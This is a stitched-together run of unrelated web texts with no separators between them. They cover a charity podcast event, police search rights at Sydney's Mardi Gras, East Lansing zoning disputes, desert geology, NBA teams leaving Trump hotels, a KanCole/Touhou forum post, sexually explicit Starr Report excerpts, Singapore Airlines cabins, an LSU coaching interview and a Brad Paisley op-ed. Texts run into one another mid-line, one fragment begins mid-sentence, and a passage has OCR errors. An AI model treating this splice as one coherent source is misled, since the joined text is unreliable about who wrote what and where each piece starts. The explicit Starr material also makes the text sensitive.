General Admission Ticket includes welcome drink, live panel show & afterparty at Rivoli's rooftop bar Nineteen forty. Open bar and finger food provided.
Panel Show Only tickets include access to the panel show Q&A with The Weekly Planet.
For Press/Media tickets please email contact@planetbcasting.com
From the team behind Mr Sunday Movies Youtube channel and The Weekly Planet podcast comes a brand new Australian podcast network. Sponsored by 360fly, in association with Movember, James and Maso from The Weekly Planet podcast lead a panel discussion with some of Australia's best podcasters and comedians including Filthy Casuals, Dragon Friends, Human/Ordinary, Do Go On, Aunty Donna and many more.
50% of proceeds from ticket sales to be donated to Movember in support of men's mental health and suicide prevention.
Planet Broadcasting - connecting the world or something.With the Gay and Lesbian Mardi Gras Parade rocking Sydney today, we’ve compiled some basic information about police searches to help you have a blast without your rights being violated:
When can police search me?
It’s a sure bet that police will have sniffer dogs patrolling in and around the Mardi Gras parade today, and also at the after party. If police legally search you and find drugs, you could face stiff penalties.
That being said, police must have a ‘suspicion on reasonable grounds’ that you are in possession of something illegal, or have committed an offence or are about to commit an offence, before they are legally permitted to search you – they can’t just search you because they feel you look a little shady, or because they feel like hassling you.
It’s important to know that simply being present at the Mardi Gras, or acting a little fidgety or nervous, does not entitle police to search you. And although there has been no authoritative case law in the higher courts on the subject, there is a strong argument that a positive indication by a sniffer dog is not enough, by itself, for police to form a reasonable suspicion – there must be something more.
If police cannot prove that they had the required ‘reasonable suspicion’, the search will be illegal and any evidence of drugs found upon you may be inadmissible in court.
If a police officer says they intend to search you, you should remain calm, polite and cooperative. If you resist or thrash out, you could be charged with resisting arrest or even assaulting police. If you use profanity, you may be fined or arrested for offensive language charges. So be smart, keep your cool and don’t give them an excuse.
If you are about to be searched, make sure you note the time, place and the officer’s name, rank, station and stated reasons for searching you. If they don’t have a name of their badge, note the badge number instead. These details will be important if you decide to file a complaint against the officer. And if possible, you should ask a mate to film the procedure – without getting in the face of police.
What are my rights when searched?
There are limitations on what police can do, even if they have a ‘reasonable suspicion’ to search you. Police are required to:
Conduct the least invasive kind of search practicable in the circumstances. A strip search can only be conducted in certain limited circumstances where no other search will do, and police must follow strict rules if they decide to strip search you; and
Conduct the search in a way that provides you with reasonable privacy and as quickly as is practicable;
During the search the police are not allowed to:
Ask you to remove any clothing that is not necessary;
Search any body cavities;
Search your genital area. or breasts (for female or female identifying trans and intersex people), unless it is necessary; or
Question you while you are being searched.
If a police officer believes you are in possession of drugs, or anything else dangerous or illegal in your mouth or hair, they are allowed to ask you to open your mouth or shake your hair.
For any other search of a body cavity, police need to have your consent or a court order.
What happens after the search?
Police have the right to ask for your name and address.
You should provide these details, but do not need to tell them anything else – and it is best to politely decline to answer any further questions as your answers could be used against you later.
Your details, and the police version of the encounter, will be entered onto the COPS database.
What happens if the police find drugs on me?
If you are found to be in possession of drugs and charged, you should continue to remain silent and contact an experienced criminal defence lawyer as soon as possible; even if you wish to ultimately plead guilty.
Several reputable criminal law firms offer a free first conference where you can get advice about your options, the best way forward and the likely outcome, even if you wish to represent yourself in court.
Depending on what you are caught with, police may issue you a caution, or a court attendance notice requiring you to attend court at on a specific date and time. The fines in NSW for possession of drugs can be up to $2200, and the offence carries a maximum penalty of 2 years in prison.
However, a good lawyer will give you the best possible chance of avoiding a criminal record and fine altogether, so you can move on with your life.A rendering of the 12-story hotel and luxury apartments proposed on the corner of Grand River Avenue and Abbott Road in downtown East Lansing. (Photo: Courtesy rendering)
EAST LANSING - A Chicago developer has withdrawn plans for a new 12-story hotel and luxury apartments on a long-vacant downtown block. The project, which will cost more than $50 million, will have to be revised.
That is, if the developer still thinks it's worth building.
The cause is a requirement buried in an ordinance on building heights that the City Council adopted in February. For any multi-family rentals built in B-3 zones downtown, 50% of the development must be owner-occupied condos or apartments for senior citizens.
"It makes no sense to have them in the same building,” said Dave Nelson, head of real estate for Convexity Properties, which proposed the project. “Those are totally different developers and financing sources. I am not willing to do a for-sale product in that area.”
Convexity's zoning lawyer David Pierson said they weren't aware of the zoning change until they sent in the site plan because the city failed to list the ordinance on its website, as is customary.
It's the latest snag in more than a decade of failed efforts to transform the blighted properties between The Peoples Church and Abbot Road. In 2002, developer Scott Chappelle began work on a project that would have brought a mix of housing, office and retail space to the site, along with a new home for the Michigan State University Museum. But, in 2008, MSU declined the opportunity. The nationwide recession put the project on hold. By 2012, the city terminated its agreement with Chappelle.
That same year, DTN Management proposed a project for the site known as the Park District. It called for a boutique hotel, parking structure, housing and retail in the same spot, but it couldn't secure financing. That plan died in 2014.
City leaders say the zoning change they approved six months ago was an attempt to ensure that new downtown development would appeal to all residents, not just students.
"There has to be an effort of diversifying the downtown," said City Manager George Lahanas at last week's East Lansing Downtown Development Authority meeting. "We let the market go on its own, and it has just been student apartments. At some point, we have to try something different."
►Related: Why East Lansing struggles to 'get it right' downtown
After Convexity withdrew its plans, an amendment was proposed to reduce the requirement to 25% in order to make it less difficult for developers, said Darcy Schmitt, the city’s planning and zoning administrator. It's still waiting for council approval. The earliest it could be adopted is late October.
Until then, redevelopment plans for the 100 W. Grand River project are in limbo.
The 50% requirement is "a good theory, and I understand their rationale, but I think it could cause problems coming up," said Nelson, whose company is the developer for DRW Holdings, which owns the Park District properties via subsidiary WGR Finance. "It has the potential of limiting growth and the development."
East Lansing has, in fact, tried something like it before.
It didn't work.
The East Village vision
A concept drawing of what the $750 million East Village development would have looked like. The project was bounded by the Red Cedar River to the south, Bogue Street the to east, Grand River Avenue to the north and Hagadorn Road to the west. (Photo: Courtesy drawing)
In 2004, East Lansing's leaders envisioned a grandiose $750 million redevelopment project on a 35-acre plot of land on the south side of Grand River Avenue between Bogue Street and Hagadorn Road.
Called East Village, the vision would have required transforming an area that included Cedar Village and the surrounding student-heavy housing complexes into a high-density, mixed-use urban village with a riverfront park, grocery store, offices and restaurants.
To ensure the redevelopment wouldn't just serve students, the city approved zoning in 2006 that required 50% of the dwelling units be marketed and sold as owner-occupied condos until that demographic made up 25% of that specific district.
"The intent was to diversify the area over time, but nothing really happened with it," Schmitt said. "It was a pretty good effort... but all of a sudden the economy started to fall apart."
By 2009, the project's developer, The Pierce Co., had put East Village on hold. The development never materialized. The zoning code remained in place.
City officials said the idea for the zoning requirement came from the East Village Planning Team. Some former members of the East Village Planning Team say they can't put a finger on how exactly it came to be included in the zoning code. It is not based off similar zoning codes from other cities either, said Lori Mullins, East Lansing community and economic development administrator.
"Everyone doesn't remember because they won't tell you the honest truth," said Matthew Mitroka, who was on the planning team and East Lansing Planning Commission at the time. "The continuing policy of East Lansing is to push the students out of the downtown area."
Getting a more balanced mix of permanent residents and students in the downtown would be a good thing, Mitroka said, but he questions whether the city is approaching it the right way.
"You can't have a family live in a student building. It changes the financial feasibility of the projects," said Mitroka, who left the commission in 2006 for a job in Washington, D.C. "Their short-sighted plans are probably biting them."
Mayor Pro Tem Ruth Beier said the city's goal isn't to push out the students. Though she believes there is enough student housing, if only student developments keep getting proposed, the market won't be sustainable anymore, she said.
"We don't want to make it impossible for student housing," she said.
But neither is the goal to be developer-friendly. Rather, she said, it's to "find development that can be friendly for all residents."
Mayor Mark Meadows came up with the idea to translate East Village's zoning code to downtown's B-3 districts, including the additional senior housing requirement. He said he believes the requirement will work downtown because downtown is a completely different market than East Village.
"There's a mixture of both developments downtown," he said. "The condos downtown all have been successful. If you're selling a condo on top of a 12-story building overlooking campus, you won't have a hard time selling it" as a opposed to one nowhere near the downtown.
The condo market
The luxury apartments in the 100 W. Grand River project would take of the west and north wings of the building while the hotel would be locate din the east tower. (Photo: Courtesy rendering)
Nelson doesn't want to put condos and senior housing on the corner of Grand River Avenue and Abbott Road.
"That corner is best utilized for high-end, luxury apartments," he said.
But he has no problem building condos and senior housing at the former site of the Evergreen Apartments. He intended to do that, in any case, but the condos and senior housing he planned weren't technically part of the same development project, which made it not conform to the 50% zoning requirement.
Last week, the East Lansing DDA voted to allow the Evergreen Apartments property to be included with the Park District property to make it easier for Nelson to meet the requirement.
►Related: Putnam: Ending East Lansing's gateway eyesore
But though Meadows said the zoning will be amended to reduce the requirement to 25%, Nelson still has reservations. He and other developers in the area said it's hard to get lenders to back condo projects, because the market still hasn't rebounded from the recession.
"It's not an established market that exists today," said Raji Uppal, vice president and co-owner of DTN Management. "Condos are hard to finance."
DTN has just finished a $9.5 million 300 Grand project on the edge of downtown East Lansing near Crunchy's on Grand River Avenue that's just outside the B-3 zoning district. Uppal said the development is a transitional step in diversifying downtown as all 39 units in the four-story complex have two bedrooms and two bathrooms with rents that cost between $1,700 and $1,800 per month. Uppal said all units are leased with a mix of students, young professionals and families.
But DTN has no present interest in the condo market, he said.
Typically, when building condos, at least 50% of the units have to be sold before a lender will finance a project, said Bill MacLeod, president of Coldwell Banker Hubbell BriarWood in downtown Lansing.
There has been an uptick in the Greater Lansing condo market in the last six months. MacLeod said there was a 9% increase in condo sales and an 8% increase in the price of sales, according to his company's quarterly housing reports.
Mixing condos and apartments in one building is not impossible either, he said. It was done in Gillespie Group's Stadium District, the four-story mixed-use development across from Cooley Law School Stadium, which has 10 owner-occupied condos on the top floor and apartments on the second and third. All are leased or owned.
"A development like this is not a problem," MacLeod said. But he thinks trying to mix college students with young professionals and families on the same floor would be. "It will be a problem for sales and the neighbors."
Pat Gillespie built the Stadium District in 2007 with 20 condos on the top floor. He only sold 10 before the economy tanked and had to market the other 10 as apartments, he said.
"It definitely adds complexity to the transaction," Gillespie said of mixing condos with apartments.
However, Gillespie said if a city required him to make a certain amount of condos or senior housing, it would have a big impact on any proposed project.
"What if there was no market for condos at the time or vice versa for apartments?" he asked. "It seems like the city is dictating what the market wants. But their need is different than what a consumer wants."
A development that'makes sense'
This file photo shows the Citizens Bank bulding, which could be redeveloped into a 12-story hotel and luxury apartment complex (Photo: Rod Sanford | Lansing State Jour, Rod Sanford | Lansing State Jour)
Because the site plan approval process for the project is delayed, so are plans to demolish the blighted Park District buildings by the Dec. 31 deadline the city imposed on DRW Real Estate.
They could be there until next spring. That's because if they demolish the buildings without getting a brownfield plan approval from the city first, the developers will miss out on a $10 million Michigan Business Tax credit.
To get the state tax credit approved by the Michigan Strategic Fund meeting on Dec. 20, the brownfield plan has to be submitted by Nov. 7.
The development faces other challenges as well.
The 12-story building would have a ballroom, a pool and bar on the rooftops, retail space on the first floor and below-ground parking, but only for the hotel guests, not the residents of the proposed 127 apartment units. The city requires that the development also include parking for the residents, which is one of the reasons the DDA voted to expand the scope of the project to include the former site of the Evergreen Apartments. The developer would likely have to build a parking ramp at the Evergreen site along with the condos and senior housing.
The development also calls for removing Evergreen Avenue between Albert Street and Grand River Avenue.
Despite the issues with the ordinance and parking requirements, Nelson said he's committed to working with the city on how to make the project go forward. He said a 25% requirement is more manageable, but he still has concerns.
"I don't fully approve of any ratio," he said.
RELATED: Why East Lansing struggles to 'get it right' downtown
Council woman Shanna Draheim said any developments in downtown areas are challenging, but this proposal "has to be developed in a way that makes sense and meets the needs of the community."
The amended ordinance goes before the planning commission on Sept. 14.
As for the East Village zoning ordinance, Meadows has acknowledged it will never do what it was meant to accomplish.
Meadows said a developer indicated interest in building student housing in that area, which would be the first development there in well over a decade. He said the 50% condo requirement in its zoning code will need to be revisited and possibly be revised.
"We need to review the ordinance because nothing has happened with it in a decade," he said. "The likelihood that someday East Village is going to be 50% owner-occupied is 0%."
Alexander Alusheff is a reporter at the Lansing State Journal. Contact him at (517) 388-5973 or aalusheff@lsj.com. Follow him on Twitter @alexalusheff.
Read or Share this story: http://on.lsj.com/2ceGD51Delicate Arch, Arches National Park, Utah. (Photograph by Peter Kresan.)
Nearly 50 percent of desert surfaces are plains where eolian deflation--removal of fine-grained material by the wind--has exposed loose gravels consisting predominantly of pebbles but with occasional cobbles.
The remaining surfaces of arid lands are composed of exposed bedrock outcrops, desert soils, and fluvial deposits including alluvial fans, playas, desert lakes, and oases. Bedrock outcrops commonly occur as small mountains surrounded by extensive erosional plains.
Oases are vegetated areas moistened by springs, wells, or by irrigation. Many are artificial. Oases are often the only places in deserts that support crops and permanent habitation.
Underground channels carry water from nearby mountains into the Turpan Depression of China. If the channels were not covered, the water would evaporate quickly when it reached the hot, dry desert land.
Soils
Caliche is a reddish-brown to white layer found in many desert soils. Caliche commonly occurs as nodules or as coatings on mineral grains formed by the complicated interaction between water and carbon dioxide released by plant roots or by decaying organic material.
Plants
Sparse, very dry, single-species vegetation in Death Valley, California. Vegetation amidst the desert pavement of the Sonoran Desert (Photograph by John Olsen.)
Deserts typically have a plant cover that is sparse but enormously diverse. The Sonoran Desert of the American Southwest has the most complex desert vegetation on Earth. The giant saguaro cacti provide nests for desert birds and serve as "trees" of the desert. Saguaro grow slowly but may live 200 years. When 9 years old, they are about 15 centimeters high. After about 75 years, the cacti are tall and develop their first branches. When fully grown, saguaro are 15 meters tall and weigh as much as 10 tons. They dot the Sonoran and reinforce the general impression of deserts as cacti-rich land.
Although cacti are often thought of as characteristic desert plants, other types of plants have adapted well to the arid environment. They include the pea family and sunflower family. Cold deserts have grasses and shrubs as dominant vegetation.
Water
The Wei River in the Loess Plateau, China. (Photograph by I-Ming Chou.)
Though little rain falls in deserts, deserts receive runoff from ephemeral, or short-lived, streams fed by rain and snow from adjacent highlands. These streams fill the channel with a slurry of mud and commonly transport considerable quantities of sediment for a day or two. Although most deserts are in basins with closed, or interior drainage, a few deserts are crossed by 'exotic' rivers that derive their water from outside the desert. Such rivers infiltrate soils and evaporate large amounts of water on their journeys through the deserts, but their volumes are such that they maintain their continuity. The Nile, the Colorado, and the Yellow are exotic rivers that flow through deserts to dellver thelr sediments to the sea.
Running water created this canyon in arid Big Bend National Park, southwest Texas.It looks like three NBA teams — and maybe more — want nothing to do with property branded by Donald Trump.
The Bucks, Grizzlies and Mavericks have decided to stop staying at Trump hotels on road trips to New York City and Chicago in an effort to disassociate themselves from the controversial President-elect, according to an ESPN.com report.
One other Eastern Conference team, which ESPN has kept anonymous, also reportedly will abandon Trump SoHo hotel in favor of a different hotel in Manhattan when its contract expires at the end of the season.
An additional seven teams told ESPN.com on Tuesday that they are under contract to stay at the former real estate mogul’s properties when they travel to play the Bulls, Knicks and Nets.
Like many high-profile NBA players and coaches, Bucks co-owner Marc Lasry and Mavericks owner Mark Cuban were both outspoken Hillary Clinton supporters during the run-up to the election.
Since Trump’s surprising victory, the protests from coaches and players have grown louder and even vitriolic. Pistons coach Stan Van Gundy called Trump “brazenly racist” and “misogynistic” in a six-minute rant and several NBA players and analysts suggested no championship-winning team would visit the White House during Donald Trump’s presidency.KanCole's a trading card game with currency system? Wow. Shows what I knew about it. In that case, comparing it to Touhou is almost like comparing Marvel comics to Capcom videogames....well, in this case, both Touhou and KanCole are videogames, but they're completely different genres with completely different monetization systems and completely different creator/publisher make-up (one's one guy doing it primarily as a labor of love and the other's a company doing it for the things companies are supposed to do things for. Profit). Heck, from what I'm reading, KanCole is more just one game as opposed to a series (and likely will not come out with new games too often since Trading Card games usually... well, don't. Instead they rely on the game itself being updated, which is yet another major difference from Touhou).
Regarding the fanservice, it is possibly unfortunate implications since you own and construct those ships, isn't it? That's like... owning and constructing fanservicey girls or something, lol....with risk of losing them forever after they take "heavy damage" with ruined clothes apparently. :O (which, if anything, makes the unfortunately implication even more fetishistic, IMHO)
As for ZUN, it's clearly not just his artstyle that's keeping him from having fanservice in Touhou. The bloomers that everyone who's had own an upskirt appearance wears being the most blatant indication of that. Not that I mind fanservice (preferably without unfortunate implications) myself. Just saying that there's plenty of evidence that ZUN himself prefers to keep it out of his works (I'm still positive I even saw his own word that it was "unfortunate but can't be helped" regarding ecchi in derivative works, but I still can't re-find the source despite all my searching on the wiki)Saturday marks 18 years to the day since the House of Representatives authorized an impeachment inquiry into then-President Bill Clinton following a report from independent counsel Kenneth Starr, who laid out a case for impeaching Clinton in relation to a sexual harassment lawsuit filed against Clinton by Paula Jones.
The Starr Report focused on Clinton’s relationship with former White House intern Monica Lewinsky.
Clinton denied under oath that he and Lewinsky ever had any sexual relations and claimed he couldn’t recall any instances in which the two were alone.
Lewinsky also denied the affair, reportedly under pressure from Clinton to keep quiet.
Starr recommended impeaching Clinton on 11 grounds including perjury, obstruction of justice, witness tampering and abuse of power.
The report revealed the explosive nature of Clinton’s relationship with Lewinsky. Below are just three of the many from the Starr Report. (Editor’s note: the following contains sexually explicit language and depications)
Clinton spoke on the phone with members of Congress while receiving oral sex.
Lewinsky testified that her first sexual encounter from Clinton took place on November 15, 1995 when he met her in an office of one of his senior advisers before taking her into his private study. (The adviser, George Stephanopoulos, is now an anchor with ABC News.)
Once the two were alone in the office, Lewinsky testified, “she and the President kissed. She unbuttoned her jacket; either she unhooked her bra or he lifted her bra up; and he touched her breasts with his hands and mouth.” Clinton didn’t stop even for a member of Congress.
“I believe he took a phone call... and so we moved from the hallway into the back office,” Lewinsky testified. “[H]e put his hand down my pants and stimulated me manually in the genital area.”
Starr notes, “While the President continued talking on the phone (Ms. Lewinsky understood that the caller was a Member of Congress or a Senator), she performed oral sex on him.” Lewinsky’s account was corroborated by White House phone records, Starr said.
Two days later, Clinton would again receive oral sex from Lewinsky. Once again, the president spoke on the phone with a member of Congress while receiving oral sex from a White House intern.
“They kissed, and the President touched Ms. Lewinsky’s bare breasts with his hands and mouth,” Starr recounts. “At some point, Ms. Currie approached the door leading to the hallway, which was ajar, and said that the President had a telephone call. Ms. Lewinsky recalled that the caller was a Member of Congress with a nickname.”
“While the President was on the telephone, according to Ms. Lewinsky, ‘he unzipped his pants and exposed himself,’ and she performed oral sex.”
A similar incident took place when Clinton received a phone call from an adviser, Dick Morris.
After President Clinton took the phone call, he “indicated that Ms. Lewinsky should perform oral sex while he talked on the phone, and she obliged. The telephone conversation was about politics, and Ms. Lewinsky thought the caller might be Dick Morris,” Starr wrote. “White House records confirm that the President had one telephone call during Ms. Lewinsky’s visit: from ‘Mr. Richard Morris,’ to whom he talked from 5:11 to 5:20 p.m.”
The infamous cigar incident: “It tastes good.”
In a now-infamous March 31, 1996 romp, the President Clinton took a cigar out of his mouth and sexually penetrated his intern with it before returning the cigar to his mouth.
“According to Ms. Lewinsky, the President telephoned her at her desk and suggested that she come to the Oval Office on the pretext of delivering papers to him. She went to the Oval Office and was admitted by a plainclothes Secret Service agent. In her folder was a gift for the President, a Hugo Boss necktie,” said the Starr report.
“In the hallway by the study, the President and Ms. Lewinsky kissed. On this occasion, according to Ms. Lewinsky, ‘he focused on me pretty exclusively,’ kissing her bare breasts and fondling her genitals. At one point, the President inserted a cigar into Ms. Lewinsky’s vagina, then put the cigar in his mouth and said: ‘It tastes good.’ After they were finished, Ms. Lewinsky left the Oval Office and walked through the Rose Garden.”
Lots of phone sex
Lewinsky testified that she and Clinton had phone sex at least seven times in 1996, after Lewinsky had started working at the Pentagon.
“According to Ms. Lewinsky, the President telephoned her at about 6:30 a.m. on July 19, the day he was leaving for the 1996 Olympics in Atlanta, and they had phone sex, after which the President exclaimed, ‘[G]ood morning!’ and then said: ‘What a way to start a day,'” the Starr report said. “In Ms. Lewinsky’s recollection, she and the President also had phone sex on May 21, July 5 or 6, Oct. 22, and Dec. 2, 1996.”
Follow Hasson on Twitter @PeterJHassonFor full functionality of this site it is necessary to enable JavaScript. Here are the instructions how to enable JavaScript in your web browser.
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Link PHOTOS: Singapore Airlines new A380 seats. For the first time, the new business class seats will allow those sitting in the aisle to convert their seats to a double bed, just like in first class.
Business class features a seat that converts to a 78-inch (198cm) flat bed. However, the new seat is 25 inches (63.5cm) wide – a reduction in width from the old seat of five inches. That said, the seat is still one of the widest business class seats in the sky and significantly wider that those on most other airlines, including Qantas (21.5 inches), Emirates (18.5 inches) and Etihad (20 inches).
Singapore Airlines' new first class suite for its A380 superjumbos. The suites feature a fully flat bed and a separate leather recliner, allowing passengers to relax upright without having to convert a seat into a bed.
The new first-class suites keeps many of its predecessor's features, including a sliding door and double-bed option for the first two suites in the aisle.
A flight attendant arranges a bed in two adjoining mock-up first class suites. Photo: Bloomberg
First class will also feature two spacious toilets, including one with a sit-down vanity counter.
First class will also feature two spacious toilets, including one with a sit-down vanity counter.
A stewardess stands for a photograph next to the 32 inch screen of a Suite, designed by Pierrejean Design Studio, during the unveiling of the new cabins for the Singapore Airlines Ltd. Airbus SE A380 aircraft in Singapore, on Thursday, Nov. 2, 2017. Singapore Air, the first carrier to put a double bed in its cabins, is spending $850 million to refit all its A380 jets to take airborne luxury up another notch. Photographer: Nicky Loh/Bloomberg Photo: NICKY LOH
A flight attendant arranges a bed in two adjoining mock-up first class suites. Photo: Bloomberg
The first class suite is finished in leather. Photo: Bloomberg
A flight attendant with a mock-up first class suite during the unveiling in Singapore. Photo: Bloomberg
A flight attendant poses with a mock up of the first class suite during its unveiling in Singapore. Photo: Bloomberg
A flight attendant poses with a mock up of the first class suite during its unveiling in Singapore. Photo: Bloomberg
The new suites feature a separate recliner seat. Photo: NICKY LOH
The new business class shell is made of carbon fibre.
Premium economy offers a 19.5 inch-wide seat, with a seat pitch of 38 inches – the same as the existing seats. Passengers will enjoy leather finishing |
were very favorable in most categories. The exception was that he was a little headstrong and a little bit too hard on kids sometimes, but these are lessons he’s learned."
Orgeron knew none of this at the time.
Part 3: Black Friday, job interview day
"Me, Derek, and Austin [Thomas, LSU’s player personnel director], we thought we were gonna get offered the job that day. We had our plan, we go in, we sat at that table, and we’re ready to go. We walk in there, and... within a minute, we knew we were in second place. We just knew it.
"I could just tell, from the room. I asked Derek and Austin to leave, so Joe and I could have a talk. He says, ‘Look, I have not made a hire, and we have not offered anyone the job.’ I told Joe, ‘You’ve always told me the truth.’ And he says, ‘But I am going to see Tom Herman tonight or tomorrow morning. I have not offered him the job yet, and you are a strong candidate. He may be first. You’re probably second.’
"My life’s flashing before my eyes. [Orgeron’s snapping his fingers.] And you know, it slipped out on me before, on that Monday morning at USC [where he was also an interim]. And after that meeting, I thought, no way, no way... It happened again! It’s happened again! What am I going to do?
"All my eggs were in this basket, man. All I ever thought about was being the head coach of LSU. I don’t think there wasn’t a day we didn’t believe we were going to get it.
"We walked out the door. We were white as ghosts, man. So you know what we did? Started competing! [He snaps his fingers again, loudly.) Kept on competing. Got calls going into Joe. Pete [Carrol] called him, Lane [Kiffin] called him, bang bang bang."
So you start recruiting your own AD?
"Oh ho, yeah baby. We got it rolling. Joe had been a friend of ours. But he had a job to do. We understood. But for eight weeks, I hadn’t been home. I told my wife when I got the job, ‘You want to see me, come here.’ But I start getting my stuff together. I’m done. I think. It’s over. I’m done.
"Then on the way home, Joe calls me. Starts asking some questions. ‘What about this? What about that?’ Asking about things [from Orgeron’s presentation]. OK … alright … so, maybe? Maybe, right?
"So I go home. We had Thanksgiving dinner. I didn’t want to have Thanksgiving. It was the day after, you know? My family’s not there; my boys have their girlfriends and all that. I’m sitting at the table … pfff …
"Long story short. I say my prayers. Go to bed. Early, I go to bed. I remember Houston gets beat by Memphis.
"I say my prayer: ‘God, if it’s your will, I’m gonna get it.’ My wife says to me, ‘Why do you look so sad?’ I said, ‘You kidding me? Are you watching the TV? They giving the job to Tom Herman!’
"She said, ‘Oh no, they’re not.’ She says, ‘You’re gonna wake up tomorrow and be the head coach of LSU.’ Can you believe it? I said ‘Yeah right!’ and rolled over. I go to sleep.
"My phone goes off. Text message at 1:30. It’s Lane Kiffin: ‘Herman leaving to coach Texas.’
"I looked at it, and you know what? I went right back to sleep, man."
Photo by Jeff Gross/Getty Images
Kiffin was definitely coming to LSU from Alabama to be the Tigers’ offensive coordinator, per multiple, multiple sources. And per Orgeron, who’d included Kiffin’s name as OC on a projected coaching staff during his interview.
"I know probably — and I can’t blame them — I know that Alabama probably didn’t want him to come here," Orgeron says. "I’m assuming they did everything they could to get him a head job. But he was honest with us. He said, ‘Coach, I’m coming to LSU unless I get a head job, and I want a head job.’
"We thought he had the Houston job. He woulda been dynamite there. Dynamite. Then we hear about Florida Atlantic, and we didn’t think he’d take that. But he calls and says, ‘Hey man, I’m coming. I’ve got one more meeting, and I’m just going to listen to them.’ Ended up, he took the job."
The staff retrenched, preparing for a battle to land Matt Canada, the offseason’s hottest coordinator candidate. With defensive coordinator Dave Aranda locked into a $1.8 million annual deal, Orgeron, with Alleva’s blessing, wanted an equally notable — and compensated — OC.
"The day we got him here, we knew Notre Dame, UCLA, Tennessee was all after him. That’s not all of them. These schools were just dying to get him. So we had to move. And the guy was wanted, so we had to make the right offer," Orgeron says.
Canada signed a $1.5 million annual deal, putting LSU at $3.3 million in coordinator pay. The moves fortify the Tigers with arguably the best coordinator duo in the game, a statement to those critical of O’s acumen as a CEO. If either gets a head coaching or NFL gig, bring on the next bidding war.
"I don’t look at any of those things as costs," Alleva says. "Those are investments. You make investments to improve. I look at the dollars that we spend on those guys as investments to be better."
It’s a popular theory that the buzz around poaching Kiffin — both as a pure playcaller and as a spoil of war from hated Tuscaloosa — provided Orgeron an extra boost during the crucial phase of his audition process. Not so, according to the man who removed his interim tag.
"The thing [Orgeron] had to convince me of was how he’d be different than he was at Ole Miss, to be quite frank," Alleva says.
"And he just laid out that. He said he’d learned a lot. He delegates to people who are experts at what they do, and he realizes he’s not an expert at everything, just like any of us. We have to hire people that are good at things we’re not good at."
Orgeron suspects it’s a major factor that kept him from getting the USC job.
"I just look back at those times at Ole Miss... I was going as hard as I could. And there’s no manual to being a head coach. And all those times, after, I’d think what it would be like if I could do things different," Orgeron says.
Photo by Al Messerschmidt/Getty Images
But there’s a point at which he’s begun to stop apologizing. Yes, he was too inexperienced, but what defensive line coach would turn down an SEC head coaching job?
"That was a bad marriage to begin with, from day one. I knew about the second week we were there, they didn’t want us. I went in there with an open mind. I was excited to get that job! I wanted to like it. And I wanted those people to like me. It just didn’t happen. I never thought I’d face the things I faced in Oxford. The things me and my family went through.
"But we went through it for a reason. We’re home now."
Part 4: The boss gets bear-hugged in front of a tiger
"I planned on sleepin’ ‘til about 7, then get up and go work out. But then my phone rings at 5:30. I missed it. It’s Joe Alleva! I call back, ‘JOE, WHAT’S UP?’ He asked how my morning was, and I say ‘GREAT, I’M HEARIN’ YOUR VOICE!’ He said, ‘Can you meet with me at 8:30?’ I said ‘HELL YEAH, I’M COMING, BABY.’ My wife looks up and says, ‘I told you so.’
"Joe wants to meet. I get my clothes on and I’m running. But I’m home in Mandeville [75 miles east of Baton Rouge]. I was done! I was goin’! Goin’! It was done! Had no idea what I was gon’ do!
"He wants to meet at 8:30. I’m in the car, it’s about 6, 6:15. Sheeeew weee, I’m comin'. He calls back, ‘Let’s meet at your office at 7:30.’ I said ‘Joe, I’m in Mandeville, man, but I’m gonna be there!’ Man, I start going. I’m listening to CCR, I’m rollin’ down the highway, I’m excited, I’m yellin’, I’m READY..."
He claps his hands together.
"And then I call my wife real quick. I ask her, ‘You don’t think he’d meet with me to tell me I don’t have the job, right?’"
Booming laughter.
"So I pull up, man, and Joe’s standing there, right in front of the Tiger, man [the football facility’s tiger statue]. I’ll never forget it. I get out, and he says ‘Well, you want the job or what?’ I grab him! I’m bear-huggin’ his ass! I’m bear-huggin’ him, screaming, ‘YES, YES, YES!’ He says ‘Alright then, put me down! Put me down!’
"So then we come meet in the office. He never said anything about Tom Herman. I don’t think he ever went to meet with him. I don’t think it ever got to that point. Obviously Herman was going to Texas, we know that. But Joe said ‘I knew in my heart you were the man for the job. I just knew in my heart, in my stomach, I knew.’ I said ‘Thank you. Now let’s go!’
"How bout that story? Huh? How about that? Huh? Even after Florida, we still believed we had a chance."
Reinhold Matay-USA TODAY SportsAs a black Southerner, there's a difference between talking about race and being racist.
Brad Paisley performs Wednesday night at the awards show in Nashville. (Photo11: Terry Wyatt, FilmMagic)
As an African-American Southerner, let me assure singer Brad Paisley that I'm not among those who were offended by his joke at the Country Music Association Awards. Not only was it not racist, it was actually a smart poke at the perception of country music as an all-white conclave of artists and fans.
For those who missed the joke, here's what Paisley said: "If you were looking for Black-ish tonight, yeah, this ain't it. In the meantime, I hope you enjoy White-ish."
Black-ish is the new ABC hit show that normally is broadcast on Wednesday nights. It's about an upper-middle-class African-American family and stars Anthony Anderson and Tracee Ellis Ross. The fact that Paisley, who co-hosted the CMAs with Carrie Underwood, told the joke before Darius Rucker, an African-American country star, took the stage may have amped up the Twitter controversy that ensued.
Unlike R&B or hip-hop, country always has been dominated by white performers. Aside from Rucker, the biggest black names in country have been Charley Pride and Ray Charles, the R&B/pop/jazz legend who pleasantly surprised many music fans with his 1962 country hit, I Can't Stop Loving You.
But there has been a steady stream of lesser-known black country music performers for decades. Some of their stories were told in the CMT documentary, Waiting in the Wings.
In fact, the instrumental backbone of bluegrass music — the banjo — originated in Africa. Country, like rock, jazz, the blues and gospel, owes a debt to the African slaves who brought that stringed instrument with them during the dangerous Middle Passage.
I grew up in Chicago listening to rock, funk, R&B, pop and jazz, but also became a fan of 1970s country stars such as Rita Coolidge, Kris Kristofferson, Linda Ronstadt, Kenny Rogers, Anne Murray and the great Willie Nelson. Since moving to Alabama, I've added the Dixie Chicks and Vince Gill to my list of country music favorites, along with crossover artists such as k.d. lang, Lyle Lovett and Taylor Swift.
The Paisley joke is a great example of the confusion many people have about the difference between talking about race and actually being racist. Pointing out a perception of a white-ish music genre or a black-ish television show isn't racist. But telling a major African-American singer that he should leave country music to "white folks" certainly is. And that's just what a fan tweeted to Rucker last year.
That poor fan needed a history lesson. Hopefully by now, he's learned about Pride, Charles and other blacks who helped make country music what it is today.
So I give Paisley props for humor and insight. His joke was an ironic reminder that country music doesn't look much like the rest of America right now — and perhaps a nudge that it needs to give more aspiring black country music stars the same chances Rucker, Pride and Charles got. Far from being racist, what Paisley said was actually funny, brave and true.
David Person hosts WEUP Talk on WEUP 94.5 FM/1700 AM in Huntsville, Ala., is a 2013 Marguerite Casey Foundation Journalism Fellow, and is a member of USA TODAY's Board of Contributors.
